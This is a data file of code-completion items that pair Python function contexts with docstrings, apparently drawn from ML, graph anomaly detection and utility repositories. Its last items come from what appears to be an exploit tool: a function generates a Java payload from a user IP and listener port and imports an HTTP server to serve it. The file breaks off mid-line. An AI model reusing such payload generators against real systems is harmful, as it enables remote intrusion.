id int64 0 190k | prompt stringlengths 21 13.4M | docstring stringlengths 1 12k ⌀ |
|---|---|---|
3,769 | from argparse import ArgumentParser
from pathlib import Path
import copy
import gradio as gr
import os
import re
import secrets
import tempfile
from PIL import Image
from monkey_model.modeling_monkey import MonkeyLMHeadModel
from monkey_model.tokenization_qwen import QWenTokenizer
from monkey_model.configuration_monkey... | null |
3,770 | from argparse import ArgumentParser
from pathlib import Path
import copy
import gradio as gr
import os
import re
import secrets
import tempfile
from PIL import Image
from monkey_model.modeling_monkey import MonkeyLMHeadModel
from monkey_model.tokenization_qwen import QWenTokenizer
from monkey_model.configuration_monkey... | null |
3,771 | from dataclasses import dataclass, field
import json
import math
import logging
import os
from typing import Dict, Optional, List
import torch
from torch.utils.data import Dataset
from deepspeed import zero
from deepspeed.runtime.zero.partition_parameters import ZeroParamStatus
import transformers
from transformers imp... | null |
3,772 | from dataclasses import dataclass, field
import json
import math
import logging
import os
from typing import Dict, Optional, List
import torch
from torch.utils.data import Dataset
from deepspeed import zero
from deepspeed.runtime.zero.partition_parameters import ZeroParamStatus
import transformers
from transformers imp... | null |
3,773 | from dataclasses import dataclass, field
import json
import math
import logging
import os
from typing import Dict, Optional, List
import torch
from torch.utils.data import Dataset
from deepspeed import zero
from deepspeed.runtime.zero.partition_parameters import ZeroParamStatus
import transformers
from transformers imp... | null |
3,774 | from dataclasses import dataclass, field
import json
import math
import logging
import os
from typing import Dict, Optional, List
import torch
from torch.utils.data import Dataset
from deepspeed import zero
from deepspeed.runtime.zero.partition_parameters import ZeroParamStatus
import transformers
from transformers imp... | null |
3,775 | import argparse
import itertools
import json
import os
import random
import time
from functools import partial
from typing import Optional
import sys
import torch
from tqdm import tqdm
from vqa import VQA
from vqa_eval import VQAEval
from monkey_model.modeling_monkey import MonkeyLMHeadModel
from monkey_model.tokenizat... | null |
3,776 | import re
import requests
import time
from datetime import datetime
print(datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
headers = {"Authorization": "INPUT YOUR KEY"}
print(datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
def get_latest_version_number(owner, repo):
url = f"https://api.github.com/repos/{owner}/{repo}... | null |
3,777 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `read_mdfile` function. Write a Python function `def read_mdfile(md_file: str)` to solve the following problem:
Read markdown file
Here is the function:
def read_mdfile(md_file: str):
... | Read markdown file |
3,778 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `write_mdfile` function. Write a Python function `def write_mdfile(md_file: str, md_str: str)` to solve the following problem:
Write markdown file
Here is the function:
def write_mdfile(md... | Write markdown file |
3,779 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `read_yaml` function. Write a Python function `def read_yaml(yaml_file)` to solve the following problem:
Read yaml file
Here is the function:
def read_yaml(yaml_file):
"""Read yaml fil... | Read yaml file |
3,780 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `write_yaml` function. Write a Python function `def write_yaml(yaml_file, data)` to solve the following problem:
Write yaml file
Here is the function:
def write_yaml(yaml_file, data):
... | Write yaml file |
3,781 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `replace_content` function. Write a Python function `def replace_content(src: str, content: str, start_comment: str, end_comment: str)` to solve the following problem:
Replace content betwee... | Replace content between start and end comment |
3,782 | import subprocess
import yaml
import os
import re
def get_substr_before(src: str, split_str: str):
"""Get substring before split_str"""
idx = src.find(split_str)
if idx == -1:
return src
return src[:idx]
def get_substr_after(src: str, split_str: str):
"""Get substring after split_str"""
... | Convert markdown table to yaml |
3,783 | import subprocess
import yaml
import os
import re
def get_substr_before(src: str, split_str: str):
"""Get substring before split_str"""
idx = src.find(split_str)
if idx == -1:
return src
return src[:idx]
def get_substr_after(src: str, split_str: str):
"""Get substring after split_str"""
... | Convert yaml to markdown table |
3,784 | import subprocess
import yaml
import os
import re
def get_substr_before(src: str, split_str: str):
"""Get substring before split_str"""
idx = src.find(split_str)
if idx == -1:
return src
return src[:idx]
def get_substr_after(src: str, split_str: str):
"""Get substring after split_str"""
... | Get md ref from md_str |
3,785 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `write_mdref` function. Write a Python function `def write_mdref(md_ref: dict)` to solve the following problem:
Write md ref to README.md
Here is the function:
def write_mdref(md_ref: dict... | Write md ref to README.md |
3,786 | import subprocess
import yaml
import os
import re
The provided code snippet includes necessary dependencies for implementing the `get_git_log_time` function. Write a Python function `def get_git_log_time(file_path: str)` to solve the following problem:
Get git log time
Here is the function:
def get_git_log_time(file... | Get git log time |
3,787 | import pandas as pd
import os
import re
import datetime
import time
import pytz
import requests
import ssl
import urllib.parse
import OpenSSL
from dateutil import parser
def get_host_info(url):
parsed_url = urllib.parse.urlparse(url)
host = parsed_url.netloc
return host | null |
3,788 | import pandas as pd
import os
import re
import datetime
import time
import pytz
import requests
import ssl
import urllib.parse
import OpenSSL
from dateutil import parser
def get_certificate_expiration_date(host):
result = ''
hostname = host
port = 443
cert = ssl.get_server_certificate((hostname, port))... | null |
3,789 | import pandas as pd
import os
import re
import datetime
import time
import pytz
import requests
import ssl
import urllib.parse
import OpenSSL
from dateutil import parser
def get_all_tag(website_info_data):
all_tag = []
all_tag_info_data = []
# 遍历数据,获取所有的tag
for website_info_index, website_info_row in w... | null |
3,790 | import pandas as pd
import os
import re
import datetime
import time
import pytz
import requests
import ssl
import urllib.parse
import OpenSSL
from dateutil import parser
def short_url(url):
result = ""
if(url.startswith("http://")):
url = url[7:]
if(url.startswith("https://")):
url = url[8:... | null |
3,791 | import pandas as pd
import os
import re
import datetime
import time
import pytz
import requests
import ssl
import urllib.parse
import OpenSSL
from dateutil import parser
def replaceTemplate(template, reInfo, data):
reResult = re.findall(reInfo, template)
new_read_me = template.replace(reResult[0], data)
r... | null |
3,792 | import pandas as pd
import os
import re
import datetime
import time
import pytz
import requests
import ssl
import urllib.parse
import OpenSSL
from dateutil import parser
def create_tag_table_html(tag_name, tag_info_data):
print("==create_tag_table_html", tag_name)
website_info_html = "<a href='#目录'>🔙目录</a>" ... | null |
3,793 | import bpy
from bpy.types import Action, Context
def action_frame_range(act: Action):
r = [9999999999, -9999999999]
for curve in act.fcurves:
cr = curve.range()
r[0] = min(r[0], cr[0])
r[1] = max(r[1], cr[1])
return r
def action_to_python_data_text(act: Action, text_block_name):
... | null |
3,794 | import bpy
from bpy.types import Action, Context
def python_data_to_loop_action(data, action_name, rot_factor=1.0, loc_factor=1.0) -> Action:
act = bpy.data.actions.new(action_name)
for k in data:
curve = act.fcurves.new(k[0], index=k[1])
curve.keyframe_points.add(len(data[k]))
for i in... | null |
3,795 | from setuptools import find_packages, setup
from os import path
with open(ver_file) as f:
exec(f.read())
this_directory = path.abspath(path.dirname(__file__))
with open(path.join(this_directory, 'requirements.txt'),
encoding='utf-8') as f:
requirements = f.read().splitlines()
def readme():
with o... | null |
3,796 | import torch
import torch.nn.functional as F
from scipy.linalg import sqrtm
import math
The provided code snippet includes necessary dependencies for implementing the `double_recon_loss` function. Write a Python function `def double_recon_loss(x, x_, s, ... | r""" Double reconstruction loss function for feature and structure. The loss function is defined as :math:`\alpha \symbf{E_a} + (1-\alpha) \symbf{E_s}`, where :math:`\alpha` is the weight between 0 and 1 inclusive, and :math:`\symbf{E_a}` and :math:`\symbf{E_s}` are the reconstruction loss for feature and structure, re... |
3,797 | import torch
import torch.nn.functional as F
from scipy.linalg import sqrtm
import math
The provided code snippet includes necessary dependencies for implementing the `KL_neighbor_loss` function. Write a Python function `def KL_neighbor_loss(predictions, targets, mask_len, device)` to solve the following problem:
The ... | The local neighor distribution KL divergence loss used in GAD-NR. Source: https://github.com/Graph-COM/GAD-NR/blob/master/GAD-NR_inj_cora.ipynb |
3,798 | import torch
import torch.nn.functional as F
from scipy.linalg import sqrtm
import math
The provided code snippet includes necessary dependencies for implementing the `W2_neighbor_loss` function. Write a Python function `def W2_neighbor_loss(predictions, targets, mask_len, device)` to solve the following problem:
The ... | The local neighor distribution W2 loss used in GAD-NR. Source: https://github.com/Graph-COM/GAD-NR/blob/master/GAD-NR_inj_cora.ipynb |
3,799 | import torch
from torch_geometric.data import Data
from ..utils.utility import check_parameter
def check_parameter(param, low=MIN_INT, high=MAX_INT, param_name='',
include_left=False, include_right=False):
"""Check if an input is within the defined range.
Parameters
----------
param... | Generating structural outliers according to paper : cite:`ding2019deep`. We randomly select ``m`` nodes from the network and then make those nodes fully connected, and then all the ``m`` nodes in the clique are regarded as outliers. We iteratively repeat this process until a number of ``n`` cliques are generated and th... |
3,800 | import torch
from torch_geometric.data import Data
from ..utils.utility import check_parameter
def check_parameter(param, low=MIN_INT, high=MAX_INT, param_name='',
include_left=False, include_right=False):
"""Check if an input is within the defined range.
Parameters
----------
param... | r"""Generating contextual outliers according to paper :cite:`ding2019deep`. We randomly select ``n`` nodes as the attribute perturbation candidates. For each selected node :math:`i`, we randomly pick another ``k`` nodes from the data and select the node :math:`j` whose attributes :math:`x_j` deviate the most from node ... |
3,801 | from sklearn.metrics import (
roc_auc_score,
average_precision_score,
f1_score
)
The provided code snippet includes necessary dependencies for implementing the `eval_roc_auc` function. Write a Python function `def eval_roc_auc(label, score)` to solve the following problem:
ROC-AUC score for binary classifi... | ROC-AUC score for binary classification. Parameters ---------- label : torch.Tensor Labels in shape of ``(N, )``, where 1 represents outliers, 0 represents normal instances. score : torch.Tensor Outlier scores in shape of ``(N, )``. Returns ------- roc_auc : float Average ROC-AUC score across different labels. |
3,802 | from sklearn.metrics import (
roc_auc_score,
average_precision_score,
f1_score
)
The provided code snippet includes necessary dependencies for implementing the `eval_recall_at_k` function. Write a Python function `def eval_recall_at_k(label, score, k=None)` to solve the following problem:
Recall score for ... | Recall score for top k instances with the highest outlier scores. Parameters ---------- label : torch.Tensor Labels in shape of ``(N, )``, where 1 represents outliers, 0 represents normal instances. score : torch.Tensor Outlier scores in shape of ``(N, )``. k : int, optional The number of instances to evaluate. ``None`... |
3,803 | from sklearn.metrics import (
roc_auc_score,
average_precision_score,
f1_score
)
The provided code snippet includes necessary dependencies for implementing the `eval_precision_at_k` function. Write a Python function `def eval_precision_at_k(label, score, k=None)` to solve the following problem:
Precision s... | Precision score for top k instances with the highest outlier scores. Parameters ---------- label : torch.Tensor Labels in shape of ``(N, )``, where 1 represents outliers, 0 represents normal instances. score : torch.Tensor Outlier scores in shape of ``(N, )``. k : int, optional The number of instances to evaluate. ``No... |
3,804 | from sklearn.metrics import (
roc_auc_score,
average_precision_score,
f1_score
)
The provided code snippet includes necessary dependencies for implementing the `eval_average_precision` function. Write a Python function `def eval_average_precision(label, score)` to solve the following problem:
Average preci... | Average precision score for binary classification. Parameters ---------- label : torch.Tensor Labels in shape of ``(N, )``, where 1 represents outliers, 0 represents normal instances. score : torch.Tensor Outlier scores in shape of ``(N, )``. Returns ------- ap : float Average precision score. |
3,805 | from sklearn.metrics import (
roc_auc_score,
average_precision_score,
f1_score
)
The provided code snippet includes necessary dependencies for implementing the `eval_f1` function. Write a Python function `def eval_f1(label, pred)` to solve the following problem:
F1 score for binary classification. Paramete... | F1 score for binary classification. Parameters ---------- label : torch.Tensor Labels in shape of ``(N, )``, where 1 represents outliers, 0 represents normal instances. pred : torch.Tensor Outlier prediction in shape of ``(N, )``. Returns ------- f1 : float F1 score. |
3,806 |
The provided code snippet includes necessary dependencies for implementing the `to_edge_score` function. Write a Python function `def to_edge_score(score, edge_index)` to solve the following problem:
Convert outlier node score to outlier edge score by averaging the scores of two nodes connected by an edge. Parameters... | Convert outlier node score to outlier edge score by averaging the scores of two nodes connected by an edge. Parameters ---------- score : torch.Tensor The node score. edge_index : torch.Tensor The edge index. Returns ------- score : torch.Tensor The edge score. |
3,807 |
The provided code snippet includes necessary dependencies for implementing the `to_graph_score` function. Write a Python function `def to_graph_score(score)` to solve the following problem:
Convert outlier node score to outlier graph score by averaging the scores of all nodes in a graph. Parameters ---------- score :... | Convert outlier node score to outlier graph score by averaging the scores of all nodes in a graph. Parameters ---------- score : torch.Tensor The node score. Returns ------- score : torch.Tensor The graph score. |
3,808 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
def check_parameter(param, low=MIN_INT, high=MAX_INT, param_name='',
include_left=False, include_right=False):
"""Check if an input is... | Validate the input GPU ID is valid on the given environment. If no GPU is presented, return 'cpu'. Parameters ---------- gpu_id : int GPU ID to check. Returns ------- device : str Valid device, e.g., 'cuda:0' or 'cpu'. |
3,809 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
The provided code snippet includes necessary dependencies for implementing the `load_data` function. Write a Python function `def load_data(name, cache_dir=N... | Data loading function. See `data repository <https://github.com/pygod-team/data>`_ for supported datasets. For injected/generated datasets, the labels meanings are as follows. - 0: inlier - 1: contextual outlier only - 2: structural outlier only - 3: both contextual outlier and structural outlier Parameters ---------- ... |
3,810 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
The provided code snippet includes necessary dependencies for implementing the `logger` function. Write a Python function `def logger(epoch=0, los... | Logger for detector. Parameters ---------- epoch : int, optional The current epoch. loss : float, optional The current epoch loss value. score : torch.Tensor, optional The current outlier scores. target : torch.Tensor, optional The ground truth labels. time : float, optional The current epoch time. verbose : int, optio... |
3,811 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
The provided code snippet includes necessary dependencies for implementing the `init_detector` function. Write a Python function `def init_detector(name, **k... | Detector initialization function. |
3,812 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
The provided code snippet includes necessary dependencies for implementing the `init_nn` function. Write a Python function `def init_nn(name, **kwargs)` to s... | Neural network initialization function. |
3,813 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
The provided code snippet includes necessary dependencies for implementing the `pprint` function. Write a Python function `def pprint(params, offset=0, print... | Pretty print the dictionary 'params' Parameters ---------- params : dict The dictionary to pretty print offset : int, optional The offset at the beginning of each line. printer : callable, optional The function to convert entries to strings, typically the builtin str or repr. |
3,814 | import os
import torch
import shutil
import numbers
import requests
import warnings
import numpy as np
from importlib import import_module
from ..metric import *
The provided code snippet includes necessary dependencies for implementing the `is_fitted` function. Write a Python function `def is_fitted(detector, attribu... | Check if the detector is fitted. Parameters ---------- detector : pygod.detector.Detector The detector to check. attributes : list, optional The attributes to check. Default: ``None``. Returns ------- is_fitted : bool Whether the detector is fitted. |
3,815 | from random import choice
from pygod.detector import *
from pyod.models.lof import LOF
from torch_geometric.nn import MLP
from sklearn.ensemble import IsolationForest
def init_model(args):
dropout = [0, 0.1, 0.3]
lr = [0.1, 0.05, 0.01]
weight_decay = 0.01
if args.dataset == 'inj_flickr' or args.datase... | null |
3,816 | from enum import Enum
from typing import Optional
import math
import torch
from torch import nn
from einops import rearrange
import torch.nn as disable_weight_init
from ldm.modules.attention import FeedForward
def zero_module(module):
# Zero out the parameters of a module and return it.
for p in module.paramet... | null |
3,817 | from pathlib import Path
from types import MethodType
import os
import cv2
import numpy as np
import torch
import hashlib
from PIL import Image, ImageOps, UnidentifiedImageError
from modules import processing, shared, scripts, devices, masking, sd_samplers, images
from modules.processing import (StableDiffusionProcessi... | null |
3,818 | import os
from modules.paths import data_path
from modules.processing import StableDiffusionProcessing, StableDiffusionProcessingImg2Img
from scripts.animatediff_ui import AnimateDiffProcess
from scripts.animatediff_logger import logger_animatediff as logger
class AnimateDiffProcess:
def __init__(
self,
... | null |
3,819 | import os
from modules.paths import data_path
from modules.processing import StableDiffusionProcessing, StableDiffusionProcessingImg2Img
from scripts.animatediff_ui import AnimateDiffProcess
from scripts.animatediff_logger import logger_animatediff as logger
def write_params_txt(info: str):
with open(os.path.join(... | null |
3,820 | import os
from modules.paths import data_path
from modules.processing import StableDiffusionProcessing, StableDiffusionProcessingImg2Img
from scripts.animatediff_ui import AnimateDiffProcess
from scripts.animatediff_logger import logger_animatediff as logger
def infotext_pasted(infotext, results):
for k, v in resu... | null |
3,821 | import sys
from types import ModuleType
from typing import Optional
from modules import scripts
from scripts.animatediff_logger import logger_animatediff as logger
def apply_state(k, key_map=None):
def callback(_p, v, _vs):
if key_map is not None:
v = key_map[v]
xyz_attrs[k] = v
retu... | null |
3,822 | import os
import cv2
import subprocess
from pathlib import Path
from modules import shared
from modules.paths import data_path
from modules.processing import StableDiffusionProcessing
from scripts.animatediff_logger import logger_animatediff as logger
def generate_random_hash(length=8):
import hashlib
import se... | null |
3,823 | import torch
import torch.fft as fft
import math
import os
import re
import sys
from modules import sd_models, shared, sd_samplers, devices
from modules.paths import extensions_builtin_dir
from modules.processing import StableDiffusionProcessing, opt_C, opt_f, StableDiffusionProcessingTxt2Img, StableDiffusionProcessing... | null |
3,824 | import torch
import torch.fft as fft
import math
import os
import re
import sys
from modules import sd_models, shared, sd_samplers, devices
from modules.paths import extensions_builtin_dir
from modules.processing import StableDiffusionProcessing, opt_C, opt_f, StableDiffusionProcessingTxt2Img, StableDiffusionProcessing... | Noise reinitialization. Args: x: diffused latent noise: randomly sampled noise LPF: low pass filter |
3,825 | import torch
import torch.fft as fft
import math
import os
import re
import sys
from modules import sd_models, shared, sd_samplers, devices
from modules.paths import extensions_builtin_dir
from modules.processing import StableDiffusionProcessing, opt_C, opt_f, StableDiffusionProcessingTxt2Img, StableDiffusionProcessing... | Form the frequency filter for noise reinitialization. Args: shape: shape of latent (B, C, T, H, W) params: filter parameters |
3,826 | import gradio as gr
from modules import shared
from scripts.animatediff_ui import supported_save_formats
supported_save_formats = ["GIF", "MP4", "WEBP", "WEBM", "PNG", "TXT"]
def on_ui_settings():
section = ("animatediff", "AnimateDiff")
s3_selection =("animatediff", "AnimateDiff AWS")
shared.opts.add_op... | null |
3,827 | import json
import argparse
import torch
import numpy as np
from torch import nn
from src.slurm import init_signal_handler, init_distributed_mode
from src.data.loader import check_data_params, load_data
from src.utils import bool_flag, initialize_exp, set_sampling_probs, shuf_order
from src.model import check_model_par... | Generate a parameters parser. |
3,828 | import os
import io
import sys
import argparse
import torch
import math
import torch.nn as nn
import torch.nn.functional as F
from collections import OrderedDict
from src.utils import AttrDict
from src.utils import bool_flag, initialize_exp
from src.data.dictionary import Dictionary
from src.model.transformer import Tr... | Generate a parameters parser. |
3,829 | import os
import io
import sys
import argparse
import torch
import math
import torch.nn as nn
import torch.nn.functional as F
from collections import OrderedDict
from src.utils import AttrDict
from src.utils import bool_flag, initialize_exp
from src.data.dictionary import Dictionary
from src.model.transformer import Tr... | null |
3,830 | import torch
def BN_convert_float(module):
'''
Designed to work with network_to_half.
BatchNorm layers need parameters in single precision.
Find all layers and convert them back to float. This can't
be done with built in .apply as that function will apply
fn to all modules, parameters, and buffe... | Convert model to half precision in a batchnorm-safe way. |
3,831 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
def get_dump_path(params):
"""
Create a directory to store the experiment.
"""
dump_path = ... | Initialize the experience: - dump parameters - create a logger |
3,832 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
class AdamInverseSqrtWithWarmup(optim.Adam):
"""
Decay the LR based on the inverse square root of t... | Parse optimizer parameters. Input should be of the form: - "sgd,lr=0.01" - "adagrad,lr=0.1,lr_decay=0.05" |
3,833 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
The provided code snippet includes necessary dependencies for implementing the `to_cuda` function. Write a... | Move tensors to CUDA. |
3,834 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
The provided code snippet includes necessary dependencies for implementing the `restore_segmentation` func... | Take a file segmented with BPE and restore it to its original segmentation. |
3,835 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
DYNAMIC_COEFF = ['lambda_clm', 'lambda_mlm', 'lambda_pc', 'lambda_ae', 'lambda_mt', 'lambda_bt', 'lambda_ma... | Parse the configuration of lambda coefficient (for scheduling). x = "3" # lambda will be a constant equal to x x = "0:1,1000:0" # lambda will start from 1 and linearly decrease to 0 during the first 1000 iterations x = "0:0,1000:0,2000:1" # lambda will be equal to 0 for the first 1000 iterations, then will linearly inc... |
3,836 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
DYNAMIC_COEFF = ['lambda_clm', 'lambda_mlm', 'lambda_pc', 'lambda_ae', 'lambda_mt', 'lambda_bt', 'lambda_ma... | Update all lambda coefficients. |
3,837 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
The provided code snippet includes necessary dependencies for implementing the `set_sampling_probs` functi... | Set the probability of sampling specific languages / language pairs during training. |
3,838 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
The provided code snippet includes necessary dependencies for implementing the `concat_batches` function. ... | Concat batches with different languages. |
3,839 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
The provided code snippet includes necessary dependencies for implementing the `truncate` function. Write ... | Truncate long sentences. |
3,840 | import os
import re
import sys
import pickle
import random
import inspect
import getpass
import argparse
import subprocess
import numpy as np
import torch
from torch import optim
from .logger import create_logger
The provided code snippet includes necessary dependencies for implementing the `shuf_order` function. Writ... | Randomize training order. |
3,841 | from logging import getLogger
import os
import numpy as np
import torch
from .dataset import Dataset, StreamDataset, ParallelDataset
from .dictionary import BOS_WORD, EOS_WORD, PAD_WORD, UNK_WORD, MASK_WORD
The provided code snippet includes necessary dependencies for implementing the `check_data_params` function. Wri... | Check datasets parameters. |
3,842 | from logging import getLogger
import os
import numpy as np
import torch
from .dataset import Dataset, StreamDataset, ParallelDataset
from .dictionary import BOS_WORD, EOS_WORD, PAD_WORD, UNK_WORD, MASK_WORD
logger = getLogger()
def load_mono_data(params, data):
"""
Load monolingual data.
"""
data['mono'... | Load monolingual data. The returned dictionary contains: - dico (dictionary) - vocab (FloatTensor) - train / valid / test (monolingual datasets) |
3,843 | from logging import getLogger
import os
import subprocess
from collections import OrderedDict
import numpy as np
import torch
from ..utils import to_cuda, restore_segmentation, concat_batches
The provided code snippet includes necessary dependencies for implementing the `convert_to_text` function. Write a Python funct... | Convert a batch of sentences to a list of text sentences. |
3,844 | from logging import getLogger
import os
import subprocess
from collections import OrderedDict
import numpy as np
import torch
from ..utils import to_cuda, restore_segmentation, concat_batches
BLEU_SCRIPT_PATH = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'multi-bleu.perl')
assert os.path.isfile(BLEU_SCRIPT... | Given a file of hypothesis and reference files, evaluate the BLEU score using Moses scripts. |
3,845 | from logging import getLogger
import os
import sys
import torch
import socket
import signal
import subprocess
logger = getLogger()
def sig_handler(signum, frame):
logger.warning("Signal handler called with signal " + str(signum))
prod_id = int(os.environ['SLURM_PROCID'])
logger.warning("Host: %s - Global ra... | Handle signals sent by SLURM for time limit / pre-emption. |
3,846 | from logging import getLogger
import os
import sys
import torch
import socket
import signal
import subprocess
The provided code snippet includes necessary dependencies for implementing the `init_distributed_mode` function. Write a Python function `def init_distributed_mode(params)` to solve the following problem:
Hand... | Handle single and multi-GPU / multi-node / SLURM jobs. Initialize the following variables: - n_nodes - node_id - local_rank - global_rank - world_size |
3,847 | from logging import getLogger
import math
import itertools
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
def Embedding(num_embeddings, embedding_dim, padding_idx=None):
m = nn.Embedding(num_embeddings, embedding_dim, padding_idx=padding_idx)
nn.init.normal_(m.weight, mea... | null |
3,848 | from logging import getLogger
import math
import itertools
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
def Linear(in_features, out_features, bias=True):
m = nn.Linear(in_features, out_features, bias)
# nn.init.normal_(m.weight, mean=0, std=1)
# nn.init.xavier_unifo... | null |
3,849 | from logging import getLogger
import math
import itertools
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
def create_sinusoidal_embeddings(n_pos, dim, out):
position_enc = np.array([
[pos / np.power(10000, 2 * (j // 2) / dim) for j in range(dim)]
for pos in ra... | null |
3,850 | from logging import getLogger
import math
import itertools
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
The provided code snippet includes necessary dependencies for implementing the `gelu` function. Write a Python function `def gelu(x)` to solve the following problem:
GELU act... | GELU activation https://arxiv.org/abs/1606.08415 https://github.com/huggingface/pytorch-openai-transformer-lm/blob/master/model_pytorch.py#L14 https://github.com/huggingface/pytorch-pretrained-BERT/blob/master/modeling.py |
3,851 | from logging import getLogger
import math
import itertools
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
The provided code snippet includes necessary dependencies for implementing the `get_masks` function. Write a Python function `def get_masks(slen, lengths, causal, k=None)` to... | Generate hidden states mask, and optionally an attention mask. |
3,852 | import os
import io
import sys
import argparse
import torch
from src.utils import AttrDict
from src.utils import bool_flag, initialize_exp
from src.data.dictionary import Dictionary
from src.model.transformer import TransformerModel
from src.fp16 import network_to_half
def bool_flag(s):
"""
Parse boolean argum... | Generate a parameters parser. |
3,853 | import re
import argparse
from langdetect import detect
from polyglot.detect import Detector
def get_parser():
parser = argparse.ArgumentParser(description="Remove noisy data")
parser.add_argument("--input", type=str,
help="The path of input file")
parser.add_argument("--lang", typ... | null |
3,854 | import re
import argparse
from langdetect import detect
from polyglot.detect import Detector
def detect_exist_url(text):
urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\), ]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', text)
url1 = re.findall('http[s]?//(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\), ]|(?:%[0-9a-fA-F]... | null |
3,855 | import re
import argparse
from langdetect import detect
from polyglot.detect import Detector
def detect_lang(text, lang):
try:
for i, l in enumerate(Detector(text, quiet=True).languages):
if l.code == lang and i == 0:
return True
if detect(text) == lang:
retu... | null |
3,856 | import math
import torch
import torch.nn as nn
import torch.nn.functional as F
from fairseq import options, utils
from fairseq.models import (
FairseqEncoder,
FairseqIncrementalDecoder,
FairseqEncoderDecoderModel,
register_model,
register_model_architecture,
)
from fairseq.modules import (
Multi... | null |
3,857 | import math
import torch
import torch.nn as nn
import torch.nn.functional as F
from fairseq import options, utils
from fairseq.models import (
FairseqEncoder,
FairseqIncrementalDecoder,
FairseqEncoderDecoderModel,
register_model,
register_model_architecture,
)
from fairseq.modules import (
Multi... | null |
3,858 | import math
import torch
import torch.nn as nn
import torch.nn.functional as F
from fairseq import options, utils
from fairseq.models import (
FairseqEncoder,
FairseqIncrementalDecoder,
FairseqEncoderDecoderModel,
register_model,
register_model_architecture,
)
from fairseq.modules import (
Multi... | null |
3,859 | from collections import OrderedDict
from fairseq import utils
from fairseq.models import FairseqMultiModel, register_model, register_model_architecture, BaseFairseqModel
from fairseq.models.transformer import (
base_architecture,
Embedding,
TransformerEncoder,
TransformerDecoder,
TransformerModel,
)... | null |
3,860 | from collections import OrderedDict
from fairseq import utils
from fairseq.models import FairseqMultiModel, register_model, register_model_architecture, BaseFairseqModel
from fairseq.models.transformer import (
base_architecture,
Embedding,
TransformerEncoder,
TransformerDecoder,
TransformerModel,
)... | null |
3,861 | import numpy as np
import torch
from fairseq import utils
from fairseq.data import data_utils, FairseqDataset
def collate(
samples, pad_idx, eos_idx, left_pad_source=True, left_pad_target=False,
input_feeding=True
):
if len(samples) == 0:
return {}
def merge(key, left_pad, move_eos_to_beginnin... | null |
3,862 | import numpy as np
import torch
from fairseq import utils
from fairseq.data import data_utils, FairseqDataset
The provided code snippet includes necessary dependencies for implementing the `generate_dummy_batch` function. Write a Python function `def generate_dummy_batch(num_tokens, collate_fn, src_vocab, tgt_vocab, s... | Return a dummy batch with a given number of tokens. |
3,863 | from collections import OrderedDict
import os
import torch
from fairseq.data import (
IndexedCachedDataset,
IndexedDataset,
IndexedRawTextDataset,
LanguagePairDataset,
NoisingDataset,
RoundRobinZipDatasets,
MonolingualDataset,
TokenBlockDataset,
)
from fairseq.data.masked_lm_dictionary i... | null |
3,864 | from collections import OrderedDict
import os
import torch
from fairseq.data import (
IndexedCachedDataset,
IndexedDataset,
IndexedRawTextDataset,
LanguagePairDataset,
NoisingDataset,
RoundRobinZipDatasets,
MonolingualDataset,
TokenBlockDataset,
)
from fairseq.data.masked_lm_dictionary i... | null |
3,865 | from collections import OrderedDict
import os
import torch
from fairseq.data import (
IndexedCachedDataset,
IndexedDataset,
IndexedRawTextDataset,
LanguagePairDataset,
NoisingDataset,
RoundRobinZipDatasets,
MonolingualDataset,
TokenBlockDataset,
)
from fairseq.data.masked_lm_dictionary i... | null |
3,866 | import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
def generate_payload(userip: str, lport: int) -> None:
program = """
import java.io.IOException;
import java.io.InputStream;
import java.... | null |
3,867 | import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def check_java() -> bool:
exit_code = subprocess.call([
